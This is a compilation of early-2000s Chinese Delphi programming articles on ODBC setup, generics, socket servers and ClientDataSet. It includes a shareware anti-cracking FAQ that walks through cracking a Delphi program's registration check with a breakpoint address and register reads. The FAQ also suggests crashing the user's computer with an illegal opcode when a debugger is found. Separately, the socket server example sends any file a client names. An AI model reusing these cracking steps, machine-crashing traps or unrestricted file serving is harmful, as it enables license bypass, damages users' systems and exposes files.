CSDN_文档中心_发布程序时对ODBC数据源的配置方法

发布程序时对ODBC数据源的配置方法

维志,2002.4.8

方法1: 修改注册表

可在制作安装程序时,利用安装程序的制作工具来修改注册表,完成ODBC数据源的配置,
ODBC可用的驱动程序放在系统注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBCINST.INI 下,
ODBC的 System DSN 在系统注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI 下,
ODBC的 User DSN 在系统注册表的 HKEY_CURRENT_USER\Software\ODBC\ODBC.INI 下
你可以打开注册表看一看就明白了!

方法2: 程序设置法, 可用自己的程式序来完成ODBC的配置,一种简单的方法是使用ODBCCP32.DLL中提供的一个函数来实现,
此函数在Delphi中可声明如下:

//配置ODBC数据源,成功则返回True
function SQLConfigDataSource(
hwndParent: Integer;
fRequest: LongInt;
lpszDriverString: string;
lpszAttributes: string
): LongBool; stdcall; external 'ODBCCP32.DLL';

参数说明:
hwndParent: 父窗口Handle,当指定为0时不会出现对话框,否则会弹出标准的ODBC配置对话框

fRequest: 命令请求,用来指明你要完成的功能,其值可为:
ODBC_ADD_DSN = 1;
ODBC_CONFIG_DSN = 2;
ODBC_REMOVE_DSN = 3;
ODBC_ADD_SYS_DSN = 4;
ODBC_CONFIG_SYS_DSN = 5;
ODBC_REMOVE_SYS_DSN = 6;

lpszDriverString: 驱动程序名称,就是在ODBC设置中显示的驱动程序名称,如 Microsoft Access Driver (*.mdb)

lpszAttributes: 此DSN的一些属性,可有多项,各项之间用分号(;)分隔

用法如下:

const
ODBC_ADD_DSN = 1;
ODBC_CONFIG_DSN = 2;
ODBC_REMOVE_DSN = 3;
ODBC_ADD_SYS_DSN = 4;
ODBC_CONFIG_SYS_DSN = 5;
ODBC_REMOVE_SYS_DSN = 6;

在Form中放入一个Button,在其事件中写
procedure TForm1.Button1Click(Sender: TObject);
begin
SQLConfigDataSource(
0,
ODBC_ADD_SYS_DSN,
'Microsoft Access Driver (*.mdb)',
'DSN=MyAccessDB;DBQ=C:\MyDB\MyDB.MDB;DefaultDir=C:\MyDB;FIL=MS Access;MaxBufferSize=2048;PageTimeout=5;Description=我的数据库'
);
end;

单击Button1后
再打开控制面板的ODBC设置程序,可看到其中已加入名为MyAccessDB的DSN

你也可以在系统注册表中看到新加入了HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\MyAccessDB键,其它存放着函数中指定的参数.

若改为
procedure TForm1.Button1Click(Sender: TObject);
begin
SQLConfigDataSource(
Handle,
ODBC_ADD_SYS_DSN,
'Microsoft Access Driver (*.mdb)',
'DSN=MyAccessDB;DBQ=C:\MyDB\MyDB.MDB;DefaultDir=C:\MyDB;FIL=MS Access;MaxBufferSize=2048;PageTimeout=5;Description=我的数据库'
);
end;

单击Button1后,会弹出一个标准的Access数据源的设置窗体,如下图:


CSDN_文档中心_发现：不要Excel也可生成xls文件 ！

不要Excel也可生成xls文件

我曾写过一篇文章：

把数据集保存为Excel格式的一个实现

后来发现，无需Excel也可以把任何数据保存为一个Excel可以读取的xls文件。你可以用记事本生成一个Test.txt文件：

Name Age
Bell 24
Wang 34
Gates 43

然后存盘，把文件名改为Test.xls。注意字段之间用Tab键隔开，而不是空格。然后双击该文件，好事发生了，该文件被Excel打开了，并读出了其中的数据。每一个字段中的数据都放在了一个Cell中。（Excel2000）

事实上，字段分割符可以是任何字符，如分号，逗号，空格。不过，在这些情况下（分割符不是Tab），Excel会弹出数据导入向导对话框，问你以什么字符作为分割符，以及日期的转换格式等等。

结论：Excel对于纯文本内容的xls文件，会试图将其看作一个文本表格，每一行认为是一条记录，行中以分割符分开的各个部分认为是记录的各个字段的值。缺省的分割符是Tab制表符。

这样，任何数据集都可以简单地通过往一个文本文件中写数据，而生成一个Excel可读的xls文件了。在Delphi中，Tab制表符以#9表示，如：LineStr := Str1 + #9 + Str2 。

这样的优缺点：
1、导出数据无需Excel。
2、导出速度较快。
3、读取速度较慢。（Excel要转化数据格式）

如，有一个朋友问过的需要在主机上生成Excel文件，再通过Web发布的情况，就可以这样实现了。

www.delphidevelopers.com


CSDN_文档中心_泛型编程在非C++语言中的实现之探讨

泛型编程在非C++语言中的实现之探讨

左轻侯
2001.9.22

    GP（Generic Programming，泛型编程）号称编程思想的又一次革命。但是，在论述GP的资料中，一般都是以C++语言为基础来讨论。那么，GP是否可以在其它的编程语言中实现呢？这是作者一直在思考的一个问题，因为水平有限和资料匮乏，收获甚微。现将一些不成熟的想法整理出来，请方家不吝指教。
    本文以Delphi为例（Java的情况与此类似，可参照），讨论GP的另一种实现思路。代码是随手写出的，未经验证。
    根据作者的理解，实现GP的关键之处，在于实现ADT（Abstract Data Type，抽象数据类型）。只有实现了ADT，才能够将具体的数据类型与通用的算法分离开来。
    在C++中，ADT的存储是通过模板来实现的。举一个最简单的栈的例子（没有给出实现部分）：

template class Stack{
public:
void Push(const Type &item);
Type Pop;
...
}

    栈的应用：

Stack s;
int data;
data = 1;
s.Push(data); //入栈

int out;
out = s.Pop; //出栈

    通过建立一个int类型的Stack对象，实现了对int类型数据的存储。
    但是，在Delphi/Java中，并没有模板这种机制。那么如何实现ADT呢？与C++不同的是，Delphi/Java的类继承体系是单根结构的，也就是说，在Delphi中，所有的class都通过编译器强制而保证成为TObject的子类（Java中是Object）。这个TObject可以看成是一切类的最高层次的抽象。那么，是否可以认为Delphi/Java中已经先天地提供了对ADT的支持呢？
    试着用这种思路建立一个栈：

TStack = class
public
procedure Push(item:TObject);
function Pop:TObject;
...
end;

    这个TStack类针对TObject类型的对象进行操作。但是，这个类还不能立即应用，因为在Delphi中，简单数据类型并不是对象。所以必须再建立一个自定义的数据类型。下面建立了只有一个integer成员的自定义数据类型：

TADT = class
public
data:integer;
end;

    再来看栈的应用：

var
stack:TStack;
adt1,adt2:TADT;
begin
stack := TStack.create;
adt1 := TADT.create;
stack.Push(adt1); //入栈

adt2 := stack.Pop as TADT; //出栈

stack.free;

    这样就完成了对ADT对象的存储。必须注意到，在入栈时，是将adt对象直接入栈的，因为TStack类是对TObject进行操作，由于Delphi的单根结构，可以将任何类型的对象赋给TObject类型的变量。但是，出栈时，返回的也是一个TObject的变量，因此必须用as完成一次向下映射。同样由于单根结构，Delphi/Java提供了对RTTI的强大支持，因此这种向下映射是轻而易举的事情。但是，毫无疑问，RTTI在效率上有所损失。
    在实现了ADT的存储之后，如何才能实现对ADT的操作呢？
    在C++中，通过运算符重载来解决这个问题。看一个例子：
    在一个List类中，执行查找操作：

template class List{
Type* find(Type &value); //查找指定数据项，找到则返回其地址，否则返回NULL
...
}

template Type* List::find(Type &value){
Type* p = first->link;
where(p!=NULL&&!(p->data==value)){
p=p->link;
}
return p;
}

    在List类的find函数的实现中，代码抄自链表结构的实现，不需要关心其细节。需要注意的地方只有一个，即判断条件中的p->data==value。由于p->data和value都是ADT，在建立一个List类的对象时，它们可能是简单数据，也可以是任何的自定义数据类型。但是，仍然可以统一使用==这样的运算符，对它们进行操作。为什么呢？原因在于运算符重载。
    下面用一个Point类来说明这一点：

class Point{
private:
int x,y;
public:
int operator ==(const Point &point); //判断两个Point对象是否相等
...
}

int Point::operator ==(const Point &point){
if(x==point.x&&y==poing.y){
return 1;
}else{
return 0;
};
}

    可以看到，由于重载了==运算符，两个Point对象之间可以进行比较。同理，任何数据类型，只要重载了相应的运算符，就可以被容器类进行统一的操作。
    当目光重新转向非C++的时候，问题又出现了：Delphi/Java不支持运算符重载。做为补救措施，可以用函数来代替运算符。例如，统一使用equals函数来代替==。可是，更大的问题在于：容器类操作的对象是TObject，而TObject并没有equals这样的方法。（在Java中，object有equals方法，但并没有其它的完整的运算方法。）
    在不改变Delphi/Java现有语法的前提下，作者能想到的解决办法是，建立一个TADT类，作为所有数据结构的基类。TADT中定义了很多象equals、add之类的抽象方法。自定义的数据类型一律从TADT派生，并重载相应方法。而容器类则只需要对TADT进行操作，即可实现通用的算法了。但是，这种解决方法并不理想。
    （补充一点，其实Delphi自己提供了一些通用的容器类，如TList、TCollection、TStack、TQueue等。但与本文中所说的不同，它们存储的不是TObject，而是pointer。由于Delphi的“引用对象模型”机制，存储TObject对象，其实也就等于存储一个pointer，不同之处在于，pointer不但可以存储对象，而且可以存储基本数据类型。这应该也是Borland如此设计的原因。但是，这些容器类只提供了add、delete之类的管理方法，并没有提供通用的算法，因为对pointer不能进行复杂的操作。实际操作中，往往是程序员从容器类派生出一个新类，或者在自己的类中维护一个容器类。这也是一种解决办法，但算法就不能独立出来了。）

    综上所述，作者的观点如下：
    1、C++中通过模板机制来实现ADT的存储，Delphi/Java同样可以通过单根结构+RTTI的机制来实现。其不同之处在于，C++的实现是语法上的，而Delphi/Java是逻辑上的，也就是说，C++是通过一套特殊的语法来实现的，而Delphi/Java是根据OOP的理论和本身的类库体系自然地实现的。作者个人以为，从这个角度来看，Delphi/Java的实现机制更加简单和直观。
    2、从运行效率来算，C++肯定要强于Delphi/Java，因为C++的实现是编译期的，而Delphi/java是运行期的。RTTI的使用将对效率造成不小的影响。但是，从另一个角度来考虑，ADT在运行期的实现也带来了好处，那就是可以在运行期随意地改变容器类所存储的数据结构类型。作者还没有考虑过这种“数据类型的多态”会对编程带来什么实质性的后果。不过大胆地设想一下，以后也许可以将标准算法封装在DLL之类已编译的模块中，甚至封装在OS提供的COM对象里，程序员只需要创建自己的数据类型，将其提交给相应的接口？……
    3、C++中通过运算符重载，来实现对ADT的操作。在不支持运算符重载的Delphi/Java中，作者未能发现好的代替方法。建立统一的ADT抽象类的解决方法，只能说是一个馊主意。:-(有程序员倾向于Delphi中应该增加运算符重载，这应该是理由之一，不知道Borland是否重视。另外，据说下一版的Java将会全面支持GP，不知道是通过什么机制来实现？请了解内幕的高手介绍一下。


CSDN_文档中心_防破解问答集

防破解问答集 当发现自己为之工作了好几个月，甚至几年的程序被人破解的时候，所受的伤害是难以形容的。 我作为一个共享软件作者，并不是因为我在乎那几块钱而已（我不想在这里做具体的计算，那会使我更加难过...），不，我总是使我的程序尽可能的便宜，使包括学生和自由软件作者在内的每个人都能用得起。 然而，我知道破解软件的魅力（如果你对程序破解者（Cracker）和黑客（Hacker）抱绝对的不宽容态度，那么请原谅。但是我的一位同学是心理学家，我们一直在寻找其原因）。破解一个受限制的软件程序就像解一个（有时是很狡猾）的谜语，而你可能沉迷于这种解迷的感觉（当我发现我祖母在几个月里整天沉迷在玩字谜游戏时想起这些的）。问题是（我们现在涉及到这种“游戏”的非法部分）：程序破解者不会仅仅满足于只让自己了解他的“天赋”。他必须传播消息，发布他的“破解” （Cracker）（看一下破解包，多数是由以下部分组成：1、破解工具；2、简短的说明；3、一个巨大的文件，包含有似乎作者不亚于世界上任何伟人，或者被破解的程序像所有其它程序一样无法用那脆弱的保护方式来阻止破解者破解程序的进程的信息）。 但是现在，玩笑彻底结束了。发布这些破解包（让我们公正些：“研究其可能性“）给其他人，散布到网站上，新闻组，邮件列表，匿名FTP，光盘，"abonnements"以及任何其它地方，他们明显地破坏了所有那些花时间和精力在他们软件产品上的收益。虽然没有人可以说，所有收到或者下载破解程序的人永远也不会购买。但是散布破解程序的确是犯罪，就像有人在商场分发你车钥匙的拷贝——他是否以此赚钱又有何分别呢？ 早些日子，我没有真正去花时间保护我的产品以防止被破解，但发现周围有它们的数个破解之后。我对自己说：为什么让它如此简单？ 作为一个程序员，我当然知道，不，决不！——程序不可能是破解不了的，而且我知道，每个有吸引力的程序都迟早会有破解（至少是盗版或非法复制品）出现，但至少，我可以避免最糟糕的错误。 多数的高级语言程序员不再懂得汇编语言了，所以，他们使用的“保护措施“多数是很脆弱的。我对汇编懂得也不多，所以我决定开始仔细收集防破解（Anti-Crack）的技巧。我也努力“从另一方面努力学习”，你在这里看到的许多技巧我都是从典型的破解技术中捉摸出来的，包括网上各种各样的破解指南和阅读甚至是由专业破解者给出程序保护技巧（他们给我们这些技巧以给自己更大的挑战），我希望自己学得足够好，也想把我的经验在此与大家分享,有些技巧可能已经在其它文章中有所提及，但在此列出的最为完整。许多技巧都是针对Windows的，但他们可以被移植到其它操作系统中去。 这篇问答集是全新的，如果你觉得我遗漏了一些要点或者有用的、一个典型的Delphi程序员可以简单的加入其程序，以加强对程序保护的技巧，请告诉我，如果你允许，我会把它加到这里，否则我会告诉你我对它的体验。 不要问我问题，我可能无法回答： 1) 我已经提到，我对底层的东西没有什么研究； 2) 我不会把范例文件发给你，因为我没有准备过发布任何东西，如果我有一些，那么都在这里了； 3) 最后，我不会提供任何人我发现这些技巧的连接，请记注，这是一个专注于编程的站点，而非提供可利用的破解程序。需要更多的保护程序的信息，可以看我的DELPHI技巧页。 -------------------------------------------------------------------------------- 最后，这里是： 如何使破解你程序的人感到头疼 （技巧未按其重要性排列） -------------------------------------------------------------------------------- 不要用有意义的过程名字，例如： function RegistrationOK: Boolean;//译者按：注册确认 无论你在函数中编码多么奥妙和复杂，无论你相信于否一个有经验的破解者都会在10-20秒内删除之。 作为一种选择，你可以把程序中需要的一部分代码置入其内，如果破解者禁止了这个函数，你的程序将产生错误的结果。 不要用有意义的文件名比如License.Dat.。 用类似Asymetric（美国软件公司，代表软件Toolbook）的加密. 仅仅不寻常的文件名常常是不够的，好的加密（编码）可以让破解者忙几个月（如果他愿意） 加上长时间延迟，当发现被自身被损坏时，不要发出警告，随后开始等待，也许是一或两天（破解者讨厌者东西）。 加入短暂延迟，当输入口令或做其它检测时，停一到两秒钟，使穷举无法继续。简单易行，但用处不大。 使用相互检查，在DLL和EXE中互相检查，这远谈不上安全，但可以使破解变得更困难。 在软件中使用自我修复，你知道就像纠错Modem和容错硬盘，这技术已经有许多年了，怎么没人用在保护软件上？这方法最大的优点是：如果破解者使用反编译工具，它会见到一串无用的列表。 修补你的软件！把代码变为每次调用不同的确认程序段，用“其人之道还治其人之身”。 把序列号放在不寻常的地方，比如数据库字段的属性中，经常听到或读到，“用一个DLL的名字，然后把它放到系统目录里”，听的太多了，不要用哦:) 把序列号放到不同的地方。 不要依靠系统时间，从一些文件取得时间，比如SYSTEM.DAT，SYSTEM.DA0和BOOTLOG.TXT，把它们和系统时间进行比较，要求它们比上次运行的时间晚（但是记住，许多用户近来在捉千年虫）。 不要用明文字符串告诉用户:"对不起，不过...（或类似的东西）"这些是首先寻找的目标，动态建立字符串或者加密它们。 用伪造的程序调用和字符串来灌水。 不要使用一个确认函数，每次你确认用户，把确认代码写在当前过程中。这样只是让破解者做更多的破解工作。 使用“保留字”，当使用硬密钥或口令时，使它们看来像程序代码或者函数调用 (比如., "73AF" 或 "GetWindowText")。这确实工作的很不错，可以迷惑一些反编译工具。 没有“禁止”特征，如果你的程序有不保存数据版本(Crapware Version)，不要包含“灰”色菜单项。没有保存项等于没有保存，就那么简单。 避免不必要的提示信息，唯一提醒用户他尚未注册的只是“关于”对话盒，此对话盒要动态建立，以便保密。这有两个原因：许多程序员有这样的观点：多余的提示信息会在他们的顾客中产生敌人，这是愚蠢的。一个可能是更重要的原因是：多余提示信息会引导对你代码的反向工程而且经常直接引导至你的程序保护代码。 经常更新，频繁的更新指：经常更换代码，典型（简单）的破解只修改你的硬字节代码位置，这可能当它还未面市已经过期了。并且保证上载到公共服务器，使你可以更好的控制程序，人们无法找到破解所针对的旧版本。是的，这样无法防止包括旧版本和破解包盗版，如果他们那么做了，你至少可以为把他们的硬盘挤满而做点贡献。 最后，花点时间考虑保护你自己的软件。它是否值得保护？它是否更应该改进你的软件？如果没人用你的软件，保护也就没有意义了，不要过高估计你软件“对世界的重要性”。 -------------------------------------------------------------------------------- 你可以考虑到的更多技巧 -------------------------------------------------------------------------------- 用一个连续的几KB长的数学公式使任何想破解它的人精神崩溃。这使用一个密码生成器几乎无效——阻止穷举攻击也是有效的。 小心运行时刻库！当写BETA版时，完全使用之，在正式版中重写部分函数，这至少可以使破解者的生活更艰苦些。 毁坏结果，毁坏结果有时是保护程序的有效措施。 例如：想象一个图表程序，或者类似的程序，只是禁止打印然后根据一些注册码恢复打印是最常见的毁坏结果的程序。允许你打印。当产生要打印数据结构时，用某种方式破坏之，在打印前根据注册码或其它东西恢复。甚至，让破坏更奥妙，假设你有一个饼形图要打印，不改变任何东西，但加入一些不大的随机数值在你的数据中——这样就破坏了。图表看上去“不是很糟”，但是无论如何将无法使用（比如，如果是按20%的随机次序改变的）发现这样的保护，如果这和注册码相关联，无疑会使破解需要更对的时间，一是必须深入你内部的数据结构并找到可怕的破坏和恢复数据代码。 陷阱，一个我不太肯定，但听说有程序使用的方法：用CRC校验你的EXE文件，如果它被改变了，不要显示典型错误信息，等一天，然后用意思含糊的错误代码通知用户，当他们和你联系并告之错误代码时，你知道，是因为被破解了。记注：这样的陷阱可能被病毒或下载错误所触发，当你谴责可能是你未来的客户前，先考虑所有可能性。 不要依赖EXE压缩程序，几乎任何EXE压缩程序(Shrinker, WWPack32, NeoLite ——和所有著名的压缩软件)都有反压缩程序，所以，压缩程序的保护能力至少支持可配置的编码。以上（和其它）压缩程序的反压缩软件并未广泛流传，但是，不要依赖那些软件作为你程序仅有的一个“保护”。 -------------------------------------------------------------------------------- 高级技巧——从汇编来的奇想 -------------------------------------------------------------------------------- rcr/rcl 把戏 如果RCR/RCL执行某值，对于破解者来说是痛苦的——在不知道最初操作时转送标志（Carry Flag）的值的情况下，你无法逆转之或否定其作用，如果转送标志是由一些其它烦琐的关键操作所产生的话，那么你几乎胜利了。 到处贴条件转移 条件跳转对于反向工程来说并不有趣。没有循环，只是跳转，作为有条件的路障，包括你那些可爱的KEY处理代码。这样，没有简单的反向操作可以执行。 使用部分代码作为奇妙的数字表。 （更适合评论部分）如果你像多数的破解者或喜欢用SOFT-ICE（一个流行的破解工具）改东西，你无法想象这会有多恼人， 和破解者斗智 这部分很有趣:-) 贴上连续的NOP，就像你在做自我代码修改（天啊，什么乱七八糟的，NOP？哈！自我代码修改！白痴会花三年去捉摸那些本来该是什么东西）。混乱的注释代码。把代码分成小块，把它们遍布在可执行代码中，在它们中间使用（最好是有条件的）跳转。 提早发现SoftIce.。 现在搞垮计算机，你可以搞垮奔腾或奔腾MMX计算机甚至不需要VXD，可以用操作码： F0 0F C7 C8 (非法的带锁定前缀的 cmpxchg8b 指令). 处此之外, 我们必须采取真正的措施：使用VXD把CPU带出保护模式。Windows 不喜欢那样，奇迹？另一方面，不要浪费太多的时间去写破坏反汇编程序或调试的代码。那没用，相信我，有人写了那些东西，另一些人立刻会有办法绕过它，所以，把你的兴趣转移到更重要的地方——那些容易且很快见效的措施，就像上面的技巧。 -------------------------------------------------------------------------------- 针对DELPHI控件的破解 -------------------------------------------------------------------------------- 让我们了解一些关于Borland公司新开发工具的内核吧。这些知识会使我们加快破解的速度，当然也使那些共享软件程序员更小心的使用Delphi，轻易的把他们的“秘密”暴露在那些好奇的目光下。 VCL是指Visual Component Library（可视化组件库），它近来被Borland的可视化编程工具所使用，比如Delphi和C++Builder。 这些环境使用特有的资源格式，在Resource Workshop（Borland编辑资源的一个工具）中显示为“RCDATA'”。这些资源中含有Delphi所谓的窗体（Forms），窗体是程序的窗口（Windows）。所有对窗口的设计的信息都包含内，当一个典型的Delphi程序开始运行时，其初始化代码建立这种窗体，并从资源中读取所需要的信息。有时，这种读取会被推迟——不常用的窗体在需要时才被建立和删除。这样的机制是Delphi的最大优势也是其最大的缺点。它大大提高了程序设计的速度，但是对于整个应用程序，它减慢了程序被调用时的速度 这部分中真正有趣的是：例程（被用来响应用户界面的窗体的元素）的地址是按名字邦定的。所以只要知道这些名字，我们就可以知道所需要的地址。 如果你曾经破解过我的Delphi程序，你一定对那些烦琐的库之间的调用，比如API调用断点（breakpoint）和类似“do xx”的代码。 [讨论一个十分有名的用Delphi写的应用程序] 就像你将见到的那样，我彻底的破解了它，而且十分轻松。我第一次安装以后一个星期后，我发现了一条令人厌恶的信息——“你的测试已经过期”。 首先要做的是使用资源或窗体探测（SPY）工具收集有关目标EXE文件的有关信息。你也许会想到去查看TVALIDATORDLG——很明显，用户名和注册码是由此输入的。但是你会发现那只是一个简单的对话盒，真正的工作是由其调用者TSPLASHFORM来完成的。这是个恼人的窗口，它在程序关闭、按“关于”按钮和程序开始部分不断出现。 你可以选择TsplashForm并且以文本格式观察之。关于按钮（Button）和标签（Label）的许多信息都将被很清楚的显示。让我们注意以下部分（接近最后）： object RegButton: TButton Left = 200 Top = 176 Width = 97 Height = 25 Caption = 'Register' TabOrder = 1 OnClick = RegButtonClick end 这是什么？这是带有“注册”标题的按钮。你可以看到它的大小，位置......和一个有启发性的名字——“OnClick”。 “OnClick”告诉我们当用户按注册按钮时所调用的例程，当我们有了名字(Name)，我们可以搜索例程的地址。这是因为例程是和按钮以名字(Name)邦定的。 使用一个十六进制编辑器观察"RegButtonClick"，我发现了两次，第二个是资源本身，第一个是在地址表（Address Table）中的。 000A4990 ____ ____ ____ BC57 4A00 0E52 6567 4275 ______.WJ..RegBu 000A49A0 7474 6F6E 436C 6963 6B__ ____ ____ ____ ttonClick_______ 现在，观察名字（Name）前那写神奇的数字，有一个字节('0E')指出了"RegButtonClick" 的长度(14 个字符)。而且，在此之前有其地址：004ABC57。 有的反汇编程序会以为文件太长，并且不能正确反汇编这部分——然而，使用特殊的工具，我们可以在此停止，对了，就停在我们按按钮的部分。 这些会使你发现一个调用（CALL）。跟踪之，你会在44ECC8发现一个“标准栈框架（standard stack frame）”： 0044ECC8 55 push ebp 0044ECC9 8BEC mov ebp, esp 这是一种程序员所写的，在高级例程开始部分所需要的东西。我们已经避开了一长串由Windows通知（Notification）所产生的VCL库调用，来到了正确的位置。 在此，你可以方便的用设置断点的方法来测试一些调用——你会发现它们是用来显示要求输入用户名和口令的对话盒。然后，注册码是由用户名和用户的输入比较所产生的。你可以输入你所选择的用户名，和任何东西作为注册码，在BPX到44ED69之后，一个调用一个例程用来比较两个字符串。D EDX会显示你输入（冒牌）的注册码，EAX会显示正确的注册码，简单吧？初学者只需10分钟就可以完成， 如何避免被类似的程序破解？ 阅读我以上的技巧。最基本的是不要用由双击按钮或有属性监视器（Object inspector.）生成默认的方法，在程序的其它部分写代码，最好是在另外的模板中，然后用类似以下的代码与按钮关联： RegButton.OnClick := RegButtonClick; 当然你需要在窗体建立时（被调用前）执行这段代码，最好是被一些无关的例程所调用，当然这远远不能防止你的程序被破解，但至少不会像你刚才看到的那样容易。 -------------------------------------------------------------------------------- 关于注册码的提示 (如果你无法避免它) -------------------------------------------------------------------------------- 在安全，可行性，可编程性和最终用户的头痛间寻求平衡。 太长的，无字母的注册码可能造成连续的输入错误。考虑要求输入确认域（多数是口令），或者至少提供一个“不固定”的注册码输入域，以便用户可以每次重写注册码，也许最后正确的输入了。许多人会仅仅“瞥一眼”以比较输入的注册码和他们所收到E-Mail里的注册好，他们最终认为，他们输入了正确的注册码。但是字体太小或者他们懒得注意到底“I”和“1”被交换了位置（就像'l83jjd_0)pH1lTe' )。 根据不同用户的反馈，注册码输入区必须无限制的接受任何长度的信息。不要让破解者了解你的注册码的类型——如果你采取“在线确认（online-verification）”并显示它有10个字符长或只接受大写字母将给予他们帮助——不要这样做！ 计算潜在用户的数量！没有比这样的事更坏的了：你把用户数限制在9，999，你不希望有第10，000个用户，因为如此你就必须升级你的注册码以满足这第1，000个用户。 如果你的注册码有10位，可能有10^10个注册码。但是，你的应用程序可能只允许10^4（10，000）个用户，你必须采取某种算法使10^4个用户每人一个得到10^10个注册码中一个。这保护了用户和你的应用程序本身受到穷举攻击（就像一个使用VXD的宏播放器那样）。如果只有10^4个用户，而你定义了10^9个合法的注册码，那么平均每试10次，就会有一个“合法”的注册码。然而，在预期只有10^4的情况下，平均每10^6次才会成功。即使是使用高速的计算机和极快的宏播放器（击键模拟输入注册码），要在10^6中寻找到需要的注册码所花费的时间也是无法计算的。 从用户名（User name）到注册码（Registeration code）不应该只有简单的运算，它必须是有既精通数学又精通汇编语言的人用汇编语言实现（记注，Delphi仍然允许你直接使用汇编（ASM）代码）！然后，检查你的操作，绘制流程图，了解它是如何工作的。要彻底了解你自己的工作，特别是它的不足之处。 要有创新意识，不要用任何看起来简单、迅速、有效的东西，除非你信奉类似爱因斯坦的相对论的学说。你的方法的确是简单，也的确是迅速，但是绝对不是有效，的确是容易被破解。我十分抱歉，我并非天才，没有找到一种行之有效的保护方案能维持太长时间。 只是些想法:) Richey


CSDN_文档中心_防止关闭windows

有时候程序在运行当中，不允许别的程序或人为的关闭计算机，除非应用程序知道windows将要退出，其实这样很简单，我们都知道系统将要关闭时，会向每一个程序发送WM_QUERYENDSESSION这条关机消息，只要我们的程序接受到此消息后，做恰当的处理即刻完成我们所需要的。

处理windows消息有好几种，在这里我们利用Application的OnMessage事件，建立响应该事件的过程即可！如下面的例子：
unit unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm1 = class(TForm)
private
{ Private declarations }
public
procedure AppMessageHandler(var Msg:TMsg; var Handled:Boolean);//声明系统处理消息过程，响应Application的OnMessage事件的过程必须为TMessageEvent类型；
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.AppMessageHandler(var Msg:TMsg; var Handled:Boolean);
begin
if Msg.message=WM_QueryEndSession then//如果收到的消息为关闭计算机的消息时，进行特别处理，因为只是一个例子，我只写出弹出对话框，大家可以根据自己程序的需要进行响应的处理；
begin
if messagedlg('shutdown?',mtconfirmation,mbyesnocancel,0)= mryes then
Handled:=true
else
Handled:=false;
end;
end;
end.
最后在程序的DPR文件中，创建窗体之后但在调用Application.Run前加入
Application.OnMessage:=Form1.AppMessageHandler;即可！


CSDN_文档中心_非阻塞方式下Socket读取数据的一个例子

标题:非阻塞方式下Socket读取数据的一个例子
作者:DreamTiger 发表时间:2000-1-15 下午 05:59:13
发信人: lBlade (刀锋), 信区: Delphi
标  题: Re: 斑竹帮忙看看偶这段Socket程序!救救我! (转载)
发信站: BBS 水木清华站 (Tue Jan 11 14:22:56 2000)

【 在 windlike (风花雪月) 的大作中提到: 】
: 多谢指教！
: 我去大富翁看了。其中有这么一端：
: 阻塞方式可以产生OnClientRead(Write)事件
: 而非阻塞方式，需要自己去读。不会产生这些事件
: 请问，是这样的吗？如果是，那么如何知道有数据
: 到达呢？
: 偶的Server肯定要用stThreadBlocking
: 谢谢

的确如此。在Block方式下，可以通过Windows消息机制进行事件处理，
但在NonBlock方式下，读写操作都必须自己手动处理。
可以看看下面的示例程序。
（一个简单的文件服务器，客户端发送文件名到Server上，Server读取
文件名后把Server上的该文件内容发送到客户端）
定义一个TFileServerThread线程类，重载其ClientExecute方法。
在ServerSocket的GetThread事件中创建出一个新线程进行处理。
procedure TForm1.ServerSocketGetThread(Sender: TObject;
  ServerSocket: TServerClientWinSocket;
  var SocketThread: TServerClientThread);
begin
  // Create a new thread for connection
  SocketThread := TFileServerThread.Create(False, ServerSocket);
end;
有关TFileServerThread的定义和ServerExecute过程实现如下：
（可以通过SocketStream.WaitForData(时间长度)进行数据等待）
  TFileServerThread = class(TServerClientThread)
  public
    procedure ServerExecute; override;
  end;
procedure TFileServerThread.ServerExecute;
var
  Data: array[0..1023] of char;
  FileName: String;
  SocketStream: TWinSocketStream;
begin
  while not Terminated and ServerSocket.Connected do
  try
    SocketStream := TWinSocketStream.Create(ServerSocket, 60000);
    try
      FillChar(Data, SizeOf(Data), 0);
      if SocketStream.Read(Data, SizeOf(Data)) = 0 then
      begin
        // If we didn't get any data after 60 seconds then close the connect
ion
        ServerSocket.Close;
        Terminate;
      end;
      FileName := Data;
      if Length(FileName) > 2 then
        Delete(FileName, Pos(#13#10, FileName), 2);  // Delete #13#10
      if FileExists(FileName) and ServerSocket.Connected then
      begin
        ServerSocket.SendStream(TFileStream.Create(FileName, fmOpenRead or
          fmShareCompat or fmShareDenyNone));
        // Need to use SendMessage here otherwise S could change
        SendMessage(Form1.Listbox1.Handle, LB_ADDSTRING, 0, Integer(PChar(Fi
leName)));
        // PostMessage here is OK because we are not relying on any data
        PostMessage(Form1.Handle, CM_INCCOUNT, 0, 0);
      end;
    finally
      SocketStream.Free;
    end;
  except
    HandleException;
  end;
end;


CSDN_文档中心_分布式数据库应用开发正解 [系列之一]

分布式数据库应用开发正解 [系列之一]
Delphi做为一个快速应用开发工具，深受程序员的喜爱。其强大的组件功能，让程序员能够轻松、高效地完成常见的界面开发、
数据库应用等功能。然而，帮助的相对缺乏，使得许多组件的功能并不为人们正确地使用，究其原因，仍然是认识上的问题。
对于MIDAS开发中的核心部件，TClientDataSet和TDataSetProvider，由于资料的缺乏，人们在网上大多谈论的是李维的书籍内容。
我有幸在BDN上见到了Cary Jensen的Professional Developer系列文章，详细阐述了DELPHI的数据库开发技术。现节选出其中的
ClientDataSet部分，与大家共同分享。

ClientDataSet是一个功能强大的类，通过在内存中模拟表格，实现了其它数据集组件所不具备的强大功能。以往只在Delphi和C++ Builder
企业版中才提供这个组件，如今，Borland的全部产品（包括最新的Kylix）都集成了TClientDataSet组件。

TClientDataSet从类的继承关系上来看，是TDataSet这个抽象类的子类，所以我们可以在TDataSet这个抽象层次上对其进行我们熟悉的操作，
比如导航、排序、过滤、编辑。要注意的是，TClientDataSet使用了一种全新的技术，它将所有的数据均放在内存中，所以TClientDataSet是个
只存在内存中的“虚拟表”，因此对数据库的操作是非常快的。在PIII 850，512MB的机器上对十万条记录进行建索引的操作，花费的时间少于半分钟。

与一般的数据集组件不同，TClientDataSet使用的技术比较特别，本着高速度、低存储需求的原则，TClientDataSet的内部使用了两个数据存储源。
第一个是其Data属性，这是当前内存数据的视图，反映了所有的数据改变。如果用户从数据中删除一条记录，则此记录将从Data中消失，相应地，
加入一条新记录后，此记录便存在Data属性中了。

